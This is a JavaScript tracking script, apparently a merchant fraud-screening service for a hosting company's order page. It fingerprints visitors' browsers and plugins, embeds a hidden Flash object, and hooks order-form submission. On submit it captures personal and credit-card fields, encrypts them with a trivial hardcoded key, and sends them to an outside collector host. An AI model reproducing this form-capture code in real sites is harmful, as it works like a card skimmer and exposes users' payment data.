(function(){
    var config = {
        SERVER_ROOT: ("https:" == document.location.protocol ? 'https' : 'http')+'://'+'mymerchantguard.com/trackers/',
        red5ServerURL:  '69.175.71.210/ndrn',
        flashServiceURL: ("https:" == document.location.protocol ? 'https' : 'http')+'://'+'mymerchantguard.com/trackers/collectorRealIP.php',
        collectorScriptName: 'collectorMain.php',
        secondCollectorScriptName: 'collectorMainUpdate.php',
	collectorFormURL: ("https:" == document.location.protocol ? 'https' : 'http')+'://'+'mymerchantguard.com/trackers/collectorForm.php',
	pluginCollectorScript: 'collectorPlugins.php',
	flashDataScriptName: 'FlashDataReturn.swf',
	mgCookieName: 'mgTGI98785615',					 
	TGI:'',
	visitId : null,
	maxOrderTimeout: 1000, // miliseconds max MG recive timeout
	trackingCode: 'c5a8819a4f564cfa526862635dc9caf3'
	//	checkOnlineInterval : 20000, // 20 seconds
	//	checkImage : 'test.php' // seconds
	};
	var siteVars = {
merchantId: '5',
siteId: '13'	
	};
	var collector = {
isfonts : window.screen.fontSmoothingEnabled || false,
	  isjava  : navigator.javaEnabled() 	|| false,
	  lang	: navigator.language    	|| navigator.userLanguage,
	  ba		: navigator.appName 		|| false,
	  bv		: navigator.appVersion 		|| false,
	  cd		: window.screen.colorDepth 	|| false,
	  sw		: window.screen.width 		|| false,
	  sh		: window.screen.height  	|| false, 
	  cn		: navigator.appCodeName 	|| false,
	  pl		: navigator.platform		|| false
	};
	var slice = 'qc1';
	var ctrl_image = false;
	var ctrl_image_obj = false;
	var block = '537819';
	
//08.12.2009-l
			/**
			remoteRequest syntax
			@params
			new AjaxRequest(URL,[PARAMS],callback function);
			@return javascript object;
		**/
		//eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 t=3(e,f,g){4(7 f==\'3\'){g=f;f=u}2 h={};2 i=("v"+w x().y()).z();2 s={};3 8(a,b,c){4(6("7 "+b+" == \'3\'")){h=6(b);c(h)};s=5.A(\'B\');s.9(\'C\',\'D/E\');a=a+(f?(a.j("?")==-1?"?":"&")+f:\'\');s.9(\'F\',a+(a.j("?")==-1?"?":"&")+"G="+b);4(c)k(b,c);2 d=5.l(\'m\')[0];4(d){d.n(s)}o{5.p.n(s)}}3 k(a,b){2 c=H(3(){4(6("7 "+a)!=\'I\'){J(c);h=6(a);q();b(h)}},K)};3 q(){2 a=5.l(\'m\')[0];4(a){a.r(s)}o{5.p.r(s)}}8(e,i,g)};',47,47,'||var|function|if|document|eval|typeof|sendRequest|setAttribute||||||||||indexOf|wait_for_script_load|getElementsByTagName|head|appendChild|else|body|removeTag|removeChild||remoteRequest|false|var_|new|Date|getTime|toString|createElement|script|type|text|javascript|src|wait|setInterval|undefined|clearInterval|50'.split('|'),0,{}));
		var remoteRequest = function (e, f, g) {
			if (typeof f == 'function') {
				g = f;
				f = false
			}
			var h = {};
			var i = ("var_" + new Date().getTime()).toString();
			var s = {};
			function sendRequest(a, b, c) {
				if (eval("typeof " + b + " == 'function'")) {
					h = eval(b);
					c(h)
				};
				s = document.createElement('script');
				s.setAttribute('type', 'text/javascript');
				a = a + (f ? (a.indexOf("?") == -1 ? "?": "&") + f: '');
				s.setAttribute('src', a + (a.indexOf("?") == -1 ? "?": "&") + "wait=" + b);
				if (c) wait_for_script_load(b, c);
				var d = document.getElementsByTagName('head')[0];
				if (d) {
					d.appendChild(s)
				} else {
					document.body.appendChild(s)
				}
			}
			function wait_for_script_load(a, b) {
				var c = setInterval(function () {
					if (eval("typeof " + a) != 'undefined') {
						clearInterval(c);
						h = eval(a);
						removeTag();
						b(h)
					}
				},
				50)
			};
			function removeTag() {
				var a = document.getElementsByTagName('head')[0];
				if (a) {
					a.removeChild(s)
				} else {
					document.body.removeChild(s)
				}
			}
			sendRequest(e, i, g)
		};
		var remoteRequestPost = function (url,queryString,func) {
			var i = ("var_" + new Date().getTime()).toString();
			var myForm = document.createElement("form");
			myForm.method="post" ;
			myForm.action = url;
			var keyValues = queryString.split('&');
			for (var k in keyValues) {
				var myInput = document.createElement("input") ;
				myInput.setAttribute("name", k) ;
				myInput.setAttribute("value", keyValues[k]);
				myForm.appendChild(myInput) ;
			}
			document.body.appendChild(myForm) ;
			myForm.submit() ;
			document.body.removeChild(myForm) ;
			func(i);
		}
		// createCookie(name,value,days)
		function createCookie(name,value,days) {var expires="";if(days){var date=new Date();date.setTime(date.getTime()+(days*24*60*60*1000));expires="; expires="+date.toGMTString()}else{expires="";}document.cookie=name+"="+value+expires+"; path=/";}
		// readCokie(name)
		function readCookie(name)  {var nameEQ=name+"=";var ca=document.cookie.split(';');for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)==' ')c=c.substring(1,c.length);if(c.indexOf(nameEQ)==0)return c.substring(nameEQ.length,c.length)}return null;}	
		// convertObjToUrl (object array)
		var convertObjToUrl = function(params){var tmp = new Array();for( var pr in params)	{tmp.push(pr + "=" + escape(params[pr]));}return tmp.join("&");};
		function gup( name,str ){var results = new RegExp("[\\?&]" + name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]") + "=([^&#]*)").exec( str );return (results == null ? false : results[1]);}
		// getScriptParams (variable) extract passed url variable from current script
		var getScriptParam = function (url_var)	{var url = document.getElementsByTagName ('script'); url = url[url.length-1].getAttribute("src");return gup(url_var,url);};
		// PHP urlencode alternative
		function urlencode(str) {
			str = escape(str);
			str = str.replace('+', '%2B');
			str = str.replace('%20', '+');
			str = str.replace('*', '%2A');
			str = str.replace('/', '%2F');
			str = str.replace('@', '%40');
			return str;
		};
		var Base64 = {};
		Base64.code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
		Base64.encode = function(str, utf8encode) {
		  utf8encode =  (typeof utf8encode == 'undefined') ? false : utf8encode;
		  var o1, o2, o3, bits, h1, h2, h3, h4, e=[], pad = '', c, plain, coded;
		  var b64 = Base64.code;
		  plain = utf8encode ? str.encodeUTF8() : str;
		  c = plain.length % 3;
		  if (c > 0) { while (c++ < 3) { pad += '='; plain += '\0'; } }
		  for (c=0; c<plain.length; c+=3) {
		    o1 = plain.charCodeAt(c);
		    o2 = plain.charCodeAt(c+1);
		    o3 = plain.charCodeAt(c+2);
		      
		    bits = o1<<16 | o2<<8 | o3;
		      
		    h1 = bits>>18 & 0x3f;
		    h2 = bits>>12 & 0x3f;
		    h3 = bits>>6 & 0x3f;
		    h4 = bits & 0x3f;
		    e[c/3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
		  }
		  coded = e.join('');
		  coded = coded.slice(0, coded.length-pad.length) + pad;
		  return coded;
		};
		Base64.decode = function(str, utf8decode) {
		  utf8decode =  (typeof utf8decode == 'undefined') ? false : utf8decode;
		  var o1, o2, o3, h1, h2, h3, h4, bits, d=[], plain, coded;
		  var b64 = Base64.code;
		  coded = utf8decode ? str.decodeUTF8() : str;
		  for (var c=0; c<coded.length; c+=4) {
		    h1 = b64.indexOf(coded.charAt(c));
		    h2 = b64.indexOf(coded.charAt(c+1));
		    h3 = b64.indexOf(coded.charAt(c+2));
		    h4 = b64.indexOf(coded.charAt(c+3));
		      
		    bits = h1<<18 | h2<<12 | h3<<6 | h4;
		      
		    o1 = bits>>>16 & 0xff;
		    o2 = bits>>>8 & 0xff;
		    o3 = bits & 0xff;
		    
		    d[c/4] = String.fromCharCode(o1, o2, o3);
		    // check for padding
		    if (h4 == 0x40) d[c/4] = String.fromCharCode(o1, o2);
		    if (h3 == 0x40) d[c/4] = String.fromCharCode(o1);
		  }
		  plain = d.join('');
		   
		  return utf8decode ? plain.decodeUTF8() : plain; 
		};
		var Utf8 = {};  // Utf8 namespace
		Utf8.encode = function(strUni) {
		  strUni = strUni.toString();
		  var strUtf = strUni.replace(
		      /[\u0080-\u07ff]/g,
		      function(c) { 
		        var cc = c.charCodeAt(0);
		        return String.fromCharCode(0xc0 | cc>>6, 0x80 | cc&0x3f); }
		    );
		  strUtf = strUtf.replace(
		      /[\u0800-\uffff]/g,
		      function(c) { 
		        var cc = c.charCodeAt(0); 
		        return String.fromCharCode(0xe0 | cc>>12, 0x80 | cc>>6&0x3F, 0x80 | cc&0x3f); }
		    );
		  return strUtf;
		};
		Utf8.decode = function(strUtf) {
		  var strUni = strUtf.replace(
		      /[\u00c0-\u00df][\u0080-\u00bf]/g,                 // 2-byte chars
		      function(c) {  // (note parentheses for precence)
		        var cc = (c.charCodeAt(0)&0x1f)<<6 | c.charCodeAt(1)&0x3f;
		        return String.fromCharCode(cc); }
		    );
		  strUni = strUni.replace(
		      /[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g,  // 3-byte chars
		      function(c) {  // (note parentheses for precence)
		        var cc = ((c.charCodeAt(0)&0x0f)<<12) | ((c.charCodeAt(1)&0x3f)<<6) | ( c.charCodeAt(2)&0x3f); 
		        return String.fromCharCode(cc); }
		    );
		  return strUni;
		};		config.TGI = '299210';
	//Set the MG cookie
	createCookie (config.mgCookieName, '299210', 547500);
					//Get merchat ID
				var envIp = '38.107.191.81';
			var userAgent = 'CCBot/1.0 (+http://www.commoncrawl.org/bot.html)';
			var sessionId = '4kmka30tiu9nr9cmem1trg5350';

			//Define collector request object

			collector.sId = siteVars.siteId;
			collector.tgi = config.TGI;
			collector.rn = 0;
			collector.ip = envIp;
			collector.sid = sessionId;
			collector.uaa = userAgent;
							var hasFlash = hasFlashPlugin();
				collector.hfl = hasFlash;
				//Send main browser data to the MG server
				new remoteRequest(config.SERVER_ROOT + config.collectorScriptName, convertObjToUrl(collector) ,function(data){
        dataCollectionFinished(data)
    });	
    
    //Collect plugin info and send it to MG server
    function dataCollectionFinished( data ) {	
        config.visitId = data.mgResult.visitId;
        config.sessionId = data.mgResult.sessionId;
        var requestString = "mId=" +siteVars.merchantId + "&sId=" + siteVars.siteId + "&tgi=" + config.TGI + "&rn=1&vId=" + config.visitId + "&pluginNum=" + navigator.plugins.length;
        
        //Collect browser plugin information
        for (i = 0; i < navigator.plugins.length; i++) {
            plugin = navigator.plugins[i];
            requestString += "&pn" + i + "=" + urlencode(plugin.name) + "&pf" + i + "=" + urlencode(plugin.filename) + "&pd" + i + "=" + urlencode(plugin.description.substr(0,100));	
        }
        
        //Send plugin data to the server
        new remoteRequest(config.SERVER_ROOT + config.pluginCollectorScript, requestString ,function(data){
            includeFlashDataReturn(data)
        });	
    }
	function hasFlashPlugin(){
        	var MM_contentVersion = 9;
	        var plugin = (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) ? navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin : 0;
        	if ( plugin ) {
	            var words = navigator.plugins["Shockwave Flash"].description.split(" ");	    
        	    for (var i = 0; i < words.length; ++i){		
                	if (isNaN(parseInt(words[i])))		continue;		
	                var MM_PluginVersion = words[i];
        	    }	
	            var MM_FlashCanPlay = MM_PluginVersion >= MM_contentVersion;
        	}
	        if ( MM_FlashCanPlay ) {	
        	    return 1;
	        } else{
        	    return 0;
	        }
	}    
    function includeFlashDataReturn( data ) {
        var start_function = function ()	{
        var divElement = document.createElement("div");
        divElement.id = "flashContainer";
        var objectString = '<object width="1" height="1">';
                        objectString += '<param name="movie" value="' + config.SERVER_ROOT + config.flashDataScriptName + '"/>';
                        objectString += '<param name="allowFullScreen" value="true"/>';
                        objectString += '<param name="allowscriptaccess" value="always"/>';
                        objectString += '<param name="FlashVars" value="TGI=' + urlencode(config.TGI) + '&sessionId=' + urlencode(config.sessionId) + '_' + urlencode(siteVars.siteId) + '&serviceUrl=' + urlencode(config.flashServiceURL) + '&serverUrl=' + urlencode(config.red5ServerURL) + '"/>';
                        objectString += '<embed width="1" height="1" src="' + config.SERVER_ROOT + config.flashDataScriptName + '" type="application/x-shockwave-flash" flashvars="TGI=' + urlencode(config.TGI) + '&sessionId=' + urlencode(config.sessionId) + '_' + urlencode(siteVars.siteId) + '&serviceUrl=' + urlencode(config.flashServiceURL) + '&serverUrl=' + urlencode(config.red5ServerURL) + '"/>';
                objectString += '</object>';
        document.getElementsByTagName("body")[0].appendChild(divElement);
        document.getElementById("flashContainer").innerHTML = objectString;
        };
        new start_function();				
    }


config.order_forms = {"form_url":[["5","https:\/\/www.singlehop.com\/order\/form"]],"thank_you":["https:\/\/www.singlehop.com\/order\/invoice"],"fields":[{"site_id":"13","fld_name":"first","fld_last_name":"last","fld_email":"email","fld_address_1":"address1","fld_address_2":"address2","fld_city":"city","fld_state":"state","fld_country":"country","fld_zip":"zip","fld_phone":"phone","fld_cc_number":"cardnumber","fld_bank":"bankname1","fld_bank_phone":"bankphone","fld_amount":"","fld_product":"server_model","fld_base_price":"base_server_price","fld_total":"base_server_price","fld_terms":"agree","fld_cc_type":"","fld_domain_name":"hostname","fld_subscr_period":"term","fld_period_metrics":"days"}],"required":[{"fld_domain_name":0,"fld_subscr_period":0,"fld_email":"1","fld_period_metrics":0,"fld_name":"1","fld_last_name":"1","fld_address_1":"1","fld_address_2":0,"fld_city":"1","fld_state":"1","fld_country":"1","fld_zip":"1","fld_phone":"1","fld_cc_number":0,"fld_cc_type":0,"fld_bank":0,"fld_bank_phone":0,"fld_amount":0,"fld_product":0,"fld_base_price":0,"fld_total":0,"fld_terms":0}],"total_required":[9]};

//08.12.2009-l
var Aes = {};
Aes.Cipher = function(input, w) {
  var Nb = 4;
  var Nr = w.length/Nb - 1;

  var state = [[],[],[],[]];
  for (var i=0; i<4*Nb; i++) state[i%4][Math.floor(i/4)] = input[i];

  state = Aes.AddRoundKey(state, w, 0, Nb);

  for (var round=1; round<Nr; round++) {
    state = Aes.SubBytes(state, Nb);
    state = Aes.ShiftRows(state, Nb);
    state = Aes.MixColumns(state, Nb);
    state = Aes.AddRoundKey(state, w, round, Nb);
  }

  state = Aes.SubBytes(state, Nb);
  state = Aes.ShiftRows(state, Nb);
  state = Aes.AddRoundKey(state, w, Nr, Nb);

  var output = new Array(4*Nb);
  for (var i=0; i<4*Nb; i++) output[i] = state[i%4][Math.floor(i/4)];
  return output;
}
Aes.KeyExpansion = function(key) {
  var Nb = 4;
  var Nk = key.length/4
  var Nr = Nk + 6;

  var w = new Array(Nb*(Nr+1));
  var temp = new Array(4);

  for (var i=0; i<Nk; i++) {
    var r = [key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]];
    w[i] = r;
  }

  for (var i=Nk; i<(Nb*(Nr+1)); i++) {
    w[i] = new Array(4);
    for (var t=0; t<4; t++) temp[t] = w[i-1][t];
    if (i % Nk == 0) {
      temp = Aes.SubWord(Aes.RotWord(temp));
      for (var t=0; t<4; t++) temp[t] ^= Aes.Rcon[i/Nk][t];
    } else if (Nk > 6 && i%Nk == 4) {
      temp = Aes.SubWord(temp);
    }
    for (var t=0; t<4; t++) w[i][t] = w[i-Nk][t] ^ temp[t];
  }

  return w;
}
 
Aes.SubBytes = function(s, Nb) {
  for (var r=0; r<4; r++) {
    for (var c=0; c<Nb; c++) s[r][c] = Aes.Sbox[s[r][c]];
  }
  return s;
}

Aes.ShiftRows = function(s, Nb) {
  var t = new Array(4);
  for (var r=1; r<4; r++) {
    for (var c=0; c<4; c++) t[c] = s[r][(c+r)%Nb];
    for (var c=0; c<4; c++) s[r][c] = t[c];
  }
  return s;
}

Aes.MixColumns = function(s, Nb) {
  for (var c=0; c<4; c++) {
    var a = new Array(4);
    var b = new Array(4);
    for (var i=0; i<4; i++) {
      a[i] = s[i][c];
      b[i] = s[i][c]&0x80 ? s[i][c]<<1 ^ 0x011b : s[i][c]<<1;
    }
    s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3];
    s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3];
    s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3];
    s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3];
  }
  return s;
}

Aes.AddRoundKey = function(state, w, rnd, Nb) {
  for (var r=0; r<4; r++) {
    for (var c=0; c<Nb; c++) state[r][c] ^= w[rnd*4+c][r];
  }
  return state;
}

Aes.SubWord = function(w) {
  for (var i=0; i<4; i++) w[i] = Aes.Sbox[w[i]];
  return w;
}

Aes.RotWord = function(w) {
  var tmp = w[0];
  for (var i=0; i<3; i++) w[i] = w[i+1];
  w[3] = tmp;
  return w;
}
Aes.Sbox =  [0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
             0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
             0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
             0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
             0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
             0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
             0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
             0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
             0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
             0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
             0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
             0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
             0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
             0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
             0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
             0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16];

Aes.Rcon = [ [0x00, 0x00, 0x00, 0x00],
             [0x01, 0x00, 0x00, 0x00],
             [0x02, 0x00, 0x00, 0x00],
             [0x04, 0x00, 0x00, 0x00],
             [0x08, 0x00, 0x00, 0x00],
             [0x10, 0x00, 0x00, 0x00],
             [0x20, 0x00, 0x00, 0x00],
             [0x40, 0x00, 0x00, 0x00],
             [0x80, 0x00, 0x00, 0x00],
             [0x1b, 0x00, 0x00, 0x00],
             [0x36, 0x00, 0x00, 0x00] ]; 

var AesCtr = {};

AesCtr.encrypt = function(plaintext, password, nBits) {
  var blockSize = 16;
  if (!(nBits==128 || nBits==192 || nBits==256)) return '';
  plaintext = Utf8.encode(plaintext);
  password = Utf8.encode(password);
  var nBytes = nBits/8;
  var pwBytes = new Array(nBytes);
  for (var i=0; i<nBytes; i++) {
    pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
  }
  var key = Aes.Cipher(pwBytes, Aes.KeyExpansion(pwBytes));
  key = key.concat(key.slice(0, nBytes-16));

  var counterBlock = new Array(blockSize);
  var nonce = (new Date()).getTime();
  var nonceSec = Math.floor(nonce/1000);
  var nonceMs = nonce%1000;
 
  for (var i=0; i<4; i++) counterBlock[i] = (nonceSec >>> i*8) & 0xff;
  for (var i=0; i<4; i++) counterBlock[i+4] = nonceMs & 0xff; 

  var ctrTxt = '';
  for (var i=0; i<8; i++) ctrTxt += String.fromCharCode(counterBlock[i]);

  var keySchedule = Aes.KeyExpansion(key);
  
  var blockCount = Math.ceil(plaintext.length/blockSize);
  var ciphertxt = new Array(blockCount);
  
  for (var b=0; b<blockCount; b++) {
    for (var c=0; c<4; c++) counterBlock[15-c] = (b >>> c*8) & 0xff;
    for (var c=0; c<4; c++) counterBlock[15-c-4] = (b/0x100000000 >>> c*8)

    var cipherCntr = Aes.Cipher(counterBlock, keySchedule);
    
    var blockLength = b<blockCount-1 ? blockSize : (plaintext.length-1)%blockSize+1;
    var cipherChar = new Array(blockLength);
    
    for (var i=0; i<blockLength; i++) {
      cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b*blockSize+i);
      cipherChar[i] = String.fromCharCode(cipherChar[i]);
    }
    ciphertxt[b] = cipherChar.join(''); 
  }

  var ciphertext = ctrTxt + ciphertxt.join('');
  ciphertext = Base64.encode(ciphertext);
  
  return ciphertext;
}
var Base64 = {};
Base64.code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
Base64.encode = function(str, utf8encode) {
  utf8encode =  (typeof utf8encode == 'undefined') ? false : utf8encode;
  var o1, o2, o3, bits, h1, h2, h3, h4, e=[], pad = '', c, plain, coded;
  var b64 = Base64.code;
  plain = utf8encode ? str.encodeUTF8() : str;
  c = plain.length % 3;
  if (c > 0) { while (c++ < 3) { pad += '='; plain += '\0'; } }
  for (c=0; c<plain.length; c+=3) {
    o1 = plain.charCodeAt(c);
    o2 = plain.charCodeAt(c+1);
    o3 = plain.charCodeAt(c+2);
      
    bits = o1<<16 | o2<<8 | o3;
      
    h1 = bits>>18 & 0x3f;
    h2 = bits>>12 & 0x3f;
    h3 = bits>>6 & 0x3f;
    h4 = bits & 0x3f;
    e[c/3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
  }
  coded = e.join('');
  coded = coded.slice(0, coded.length-pad.length) + pad;
  return coded;
}
Base64.decode = function(str, utf8decode) {
  utf8decode =  (typeof utf8decode == 'undefined') ? false : utf8decode;
  var o1, o2, o3, h1, h2, h3, h4, bits, d=[], plain, coded;
  var b64 = Base64.code;
  coded = utf8decode ? str.decodeUTF8() : str;
  for (var c=0; c<coded.length; c+=4) {
    h1 = b64.indexOf(coded.charAt(c));
    h2 = b64.indexOf(coded.charAt(c+1));
    h3 = b64.indexOf(coded.charAt(c+2));
    h4 = b64.indexOf(coded.charAt(c+3));
      
    bits = h1<<18 | h2<<12 | h3<<6 | h4;
      
    o1 = bits>>>16 & 0xff;
    o2 = bits>>>8 & 0xff;
    o3 = bits & 0xff;
    
    d[c/4] = String.fromCharCode(o1, o2, o3);
    // check for padding
    if (h4 == 0x40) d[c/4] = String.fromCharCode(o1, o2);
    if (h3 == 0x40) d[c/4] = String.fromCharCode(o1);
  }
  plain = d.join('');
   
  return utf8decode ? plain.decodeUTF8() : plain; 
}
var Utf8 = {};  // Utf8 namespace
Utf8.encode = function(strUni) {
  strUni = strUni.toString();
  var strUtf = strUni.replace(
      /[\u0080-\u07ff]/g,
      function(c) { 
        var cc = c.charCodeAt(0);
        return String.fromCharCode(0xc0 | cc>>6, 0x80 | cc&0x3f); }
    );
  strUtf = strUtf.replace(
      /[\u0800-\uffff]/g,
      function(c) { 
        var cc = c.charCodeAt(0); 
        return String.fromCharCode(0xe0 | cc>>12, 0x80 | cc>>6&0x3F, 0x80 | cc&0x3f); }
    );
  return strUtf;
}
Utf8.decode = function(strUtf) {
  var strUni = strUtf.replace(
      /[\u00c0-\u00df][\u0080-\u00bf]/g,                 // 2-byte chars
      function(c) {  // (note parentheses for precence)
        var cc = (c.charCodeAt(0)&0x1f)<<6 | c.charCodeAt(1)&0x3f;
        return String.fromCharCode(cc); }
    );
  strUni = strUni.replace(
      /[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g,  // 3-byte chars
      function(c) {  // (note parentheses for precence)
        var cc = ((c.charCodeAt(0)&0x0f)<<12) | ((c.charCodeAt(1)&0x3f)<<6) | ( c.charCodeAt(2)&0x3f); 
        return String.fromCharCode(cc); }
    );
  return strUni;
};//08.12.2009-l
	var submit_form = false;
	var _mg_captured_forms = [];
	var _is_captured = false;
	
	if(typeof(tmp_time) != "undefined") {delete tmp_time;}
	
	var tmp_time = 0;

	var manageOrder = function ()	{

		if (typeof(arguments[1]) != 'undefined' && arguments[1] === true )	{
			var form = arguments[0];
			
		}	else	{
			var form = this;
			_is_captured = true;
		}
		
		var inputFunction = {
			select	 : function(obj){
				var getId = function(obj){return obj.options[obj.selectedIndex].value;};
				var getInner = function (obj)	{return obj.options[obj.selectedIndex].innerHTML;};
			return [getInner(obj)]; //,getId(obj)
			},
			input	 : function(obj){return obj.value;},
			checkbox : function(obj){return obj.checked;},
			radio 	 : function(obj){return obj.checked;},
			textarea : function(obj){return obj.value;}
		};
		var convertToArray = function (string)	{
			var string = string.toString();
			var arr_tmp = new Array();
			for (var i = 0 ; i < string.length; i++)	{
				arr_tmp[i] = string.charCodeAt(i);
			}
		return arr_tmp;
		};

		var url_obj = new Object();

		var completed_required_fields = 0;

		if (typeof form.index == 'undefined') return false;
		//alert("Making Order");
			for ( var pr in config.order_forms.fields[form.index])	{
				var name = config.order_forms.fields[form.index][pr] || false;

				if (name && typeof form.elements[name] != 'undefined' && form.elements[name].tagName != 'undefined')	{

					var url_param = inputFunction[form.elements[name].tagName.toLowerCase()](form.elements[name]);

						if (typeof config.order_forms.required[form.index][pr] != 'undefined' && config.order_forms.required[form.index][pr] == 1) {
							if (url_param != '' && url_param.length != 0)	{
								completed_required_fields++;
							}
						}
					
						/*url_param = Base64.encode(url_param);
						var ind = 0;
						var str = '';
						for (i = 0; i < url_param.length; i++)	{
							str += url_param[i];
							if (typeof config.trackingCode[ind] == 'undefined')	{ind = 0;}
							str += config.trackingCode[ind];
							ind++;
						}
						url_obj[pr] = Base64.encode(str);*/
						cyphertext = AesCtr.encrypt(url_param, slice, 128);
						url_obj[pr] = cyphertext;
						//url_obj[pr] = url_param;
				}
			}
			//alert("Made Order");

			url_obj['block'] = block;
			url_obj['mgdefid'] = form.form_id;
			url_obj['TGI'] = config.TGI;
			url_obj['MG_ref_no'] = tmp_time;
			url_obj['visit_id'] = config.visitId;			
//alert (completed_required_fields + ' ' + config.order_forms.total_required);
		if (completed_required_fields == config.order_forms.total_required[form.index] )	{
			/*alert(url_obj);*/
			createCookie("order",convertObjToUrl(url_obj),2);
		}
	};
	if ( readCookie("order") != null )	{
		//console.log(readCookie("order"))
		/*alert(readCookie("order"));*/
		new remoteRequest(config.collectorFormURL,readCookie("order"),function(data){
			createCookie("order",null,-1);
		});
	}
	function checkOrders(e)	{
		if (_is_captured) return;
		for ( var i = 0; i < _mg_captured_forms.length; i++ )	{
			manageOrder(_mg_captured_forms[i],true);
		}
	return;
	}

	var url = document.location.href.replace(/http:\/\/|https:\/\/|www\./, "").replace(/(.+)#$/,"$1");

	for (var pr in config.order_forms.form_url)	{

		// TODO: check and repair eventually
		var form_url_stripped = (typeof(config.order_forms.form_url[pr][1]) != "undefined" ? config.order_forms.form_url[pr][1].replace(/http:\/\/|https:\/\/|www\./, "").replace(/(.+)#$/,"$1") : '');

		if (typeof(config.order_forms.form_url[pr][1]) != "undefined" && url.indexOf(form_url_stripped) != -1 )	{
			
		
		//if (typeof(config.order_forms.form_url[pr][1]) != "undefined" && config.order_forms.form_url[pr][1].indexOf(document.location.host) != -1 )	{
			//if ( url.indexOf(config.order_forms.form_url[pr][1]) != -1 )	{ // non - strict
				var forms = document.getElementsByTagName("form");
				for ( var i = 0 ; i < forms.length; i++ )	{
					forms[i].index = pr;
					forms[i].form_id = config.order_forms.form_url[pr][0];
	
					tmp_time = new Date().getTime();
	
					var hiddenMGRef = document.createElement("input");
						hiddenMGRef.type = "hidden";
						hiddenMGRef.name = "mg_ref_no";
						hiddenMGRef.id = "mg_ref_no";
						hiddenMGRef.value = tmp_time;
						forms[i].appendChild(hiddenMGRef);
						
					if( forms[i].addEventListener ) {forms[i].addEventListener('submit',manageOrder,false);} else if ( forms.attachEvent ) {forms[i].attachEvent('onsubmit',manageOrder);} else {forms[i].onsubmit = manageOrder;}
					_mg_captured_forms.push(forms[i]);
					//if( window.addEventListener ) {window.addEventListener('beforeunload',checkOrders,false);} else if ( window.attachEvent ) {window.attachEvent('onbeforeunload',checkOrders);} else {window.onbeforeunload = checkOrders;}
				}
			//}
		}
	}
})();

